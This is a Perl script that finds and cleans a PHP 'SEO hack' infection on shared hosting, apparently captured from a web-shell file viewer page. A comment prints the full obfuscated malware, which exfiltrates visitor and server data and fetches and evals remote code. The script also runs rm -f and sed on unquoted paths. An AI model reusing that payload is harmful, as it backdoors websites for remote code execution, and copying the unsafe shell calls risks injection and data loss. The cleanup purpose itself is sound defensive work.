Mini Shell
#!/usr/bin/perl
#
# Made by Brandon Florin
$date = `date +'%Y%m%d.%H%M%S'`;
chomp ($date);
# Configurable settings:
$searchpattern = 'base64_encode.*eval.*curl_init.*base64_decode.*curl_exec';
$numbersphppattern = '\/[0-9]*\.php$';
$allphppattern = '\.php$';
$logdir = '/root/seohack';
$logfile = $logdir."/seohacks.txt.".$date;
# DO NOT MODIFY BELOW THIS POINT!
use Getopt::Std; # needed to take options from the command line
$opt_h = undef;
$opt_p = undef;
$opt_u = undef;
$opt_f = undef;
$opt_s = undef;
$usage = "usage: $0 -p [clean|identify] -u [username|full]" .
"\n".
"Where:\n".
" $0 -p identify -u full - This will identify all seohacks across the entire server\n".
" $0 -p identify -u inmoti5 - This will scan the inmoti5 user for SEO hacks without cleaning them\n".
" $0 -p clean -u full - This will identify/clean the entire server for seohacks\n".
" $0 -p clean -u inmoti5 - This will identify/clean a specific user for seohacks\n".
" Any output can be found in $logfile\n".
"\n";
getopts ('p:u:f:s:h');
if ( (defined($opt_s)) ) {
# User-defined skip list
$skip = $opt_s;
}
if ( (defined($opt_f)) ) {
# Force clean on files greater than 1 line
$force = $opt_f;
}
if ( (defined($opt_h)) ) {
# print help
print $usage;
exit;
}
if ( (defined($opt_p)) ) {
# purpose: clean or identify
$purpose = $opt_p;
} else {
# not defined, print usage
print $usage;
exit;
}
if ( (defined($opt_u)) ) {
# user: full or specific username to clean
$iuser = $opt_u;
} else {
# not defined, print usage
print $usage;
exit;
}
if (-e $logdir) {
# do nothing, $logdir is created
} else {
`mkdir $logdir`;
}
############ MAIN #######################
if (defined($skip)) { &read_skip_list; }
print "Building file list :: $iuser\n";
&build_file_list($iuser);
if ($purpose =~ /identify/) { exit; }
print "Cleaning $iuser\n";
&clean($iuser);
chomp ($count);
print "Cleanup has completed, cleaned ".scalar(@users)." users and ".$count." SEO hacks total\n";
exit;
############# END MAIN ##############
sub clean {
$iuser = shift;
open(IN,"<$logfile");
foreach $line (<IN>) {
chomp ($line);
if ($line !~ /./) { next; }
($homepath, $user, $file) = $line =~ /^\/(hom.*?)\/(.*?)\/(.*?)$/i;
if (inArray($skip, @skiplist)) { last; }
$filetodelete = "/".$homepath."/".$user."/".$file;
$linecount = `cat $filetodelete | wc -l`;
if ($linecount == "1") {
print "linecount = 1 :: $filetodelete\n";
`/bin/rm -f $filetodelete`;
} elsif (($linecount > 1 && defined($force))) {
print "linecount > 1 :: $filetodelete\n";
#Check: should we include beginning/end php tags, also, what about variants?
#check examples
#<?[php] - <?[a-z]+
`sed -e 's/<? error_reporting.*$searchpattern.* ?>//;' -i $filetodelete`;
} else {
`echo $filetodelete >> $logdir/check_these.txt`;
print "$filetodelete not touched, check $logdir/check_these.txt and then add -f flag to force changes\n";
}
#<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT;$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".". base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwZmVlZC5ydQ==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="64f5ae058c8fa53503b8df498c5784b3") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);}; ?>
if (inArray($user,@users)) {
# Do nothing if the user is already in the array
} else {
push(@users,$user);
}
print "Deleted $filetodelete\n";
}
print "Scanning for .htaccess hacks...\n";
foreach $usr (@users) {
chomp ($usr);
print "Scanning $usr...\n";
$status = `find /home/$usr/public_html/ -name ".htaccess" | sed -e "s/^/\\"/\;" | sed -e "s/\$/\\"/\;" | xargs grep MultiViews > /$logdir/htaccess_cleanup.txt`;
# Set some vars to read in the whole file at once instead of line by line
open (IN1,"<$logdir/htaccess_cleanup.txt");
foreach (<IN1>) {
chomp ($_);
$_ =~ s/.htaccess:Options -MultiViews/.htaccess/i;
undef($/);
open (TMP,"<$_");
$in = <TMP>;
$/ = "\n";
close (TMP);
$in =~ s/Options -MultiViews\nErrorDocument 404 \/\/.*?[0-9]+\.php//ig;
open(OUT,">$_");
print OUT "$in";
close (OUT);
}
}
}
sub inArray {
my ($item, @arr) = @_;
foreach (@arr) {
if ($item eq $_) { return 1; }
}
return 0;
}
sub build_file_list {
my ($iuser) = @_;
if ($iuser !~ /./) { print $usage; exit; }
if ($iuser =~ /full/) {
$status = `locate -r '/home/.*/public_html.*$numbersphppattern' | sed -e "s/^/\"/;" | sed -e "s/$/\"/;" | grep -v "\/404.php" | grep -iv pear | xargs egrep '$searchpattern' | cut -d: -f1 >> $logfile`;
} else {
$status = `locate -r '/home/$iuser/public_html.*$numbersphppattern' | sed -e 's/^/\"/\;' | sed -e 's/\$/\"/\;' | grep -v '\/404.php' | grep -iv pear | xargs egrep '$searchpattern' | cut -d: -f1 >> $logfile`;
}
$count = `cat $logfile | wc -l`;
chomp ($count);
print "Found ".$count." SEO hacks total\n";
print "A log of this scan can be found in $logfile\n";
}
sub read_skip_list {
open(SKIP,"<$skip");
foreach (<SKIP>) {
chomp ($_);
push(@skiplist,$_);
}
}
Zerion Mini Shell 1.0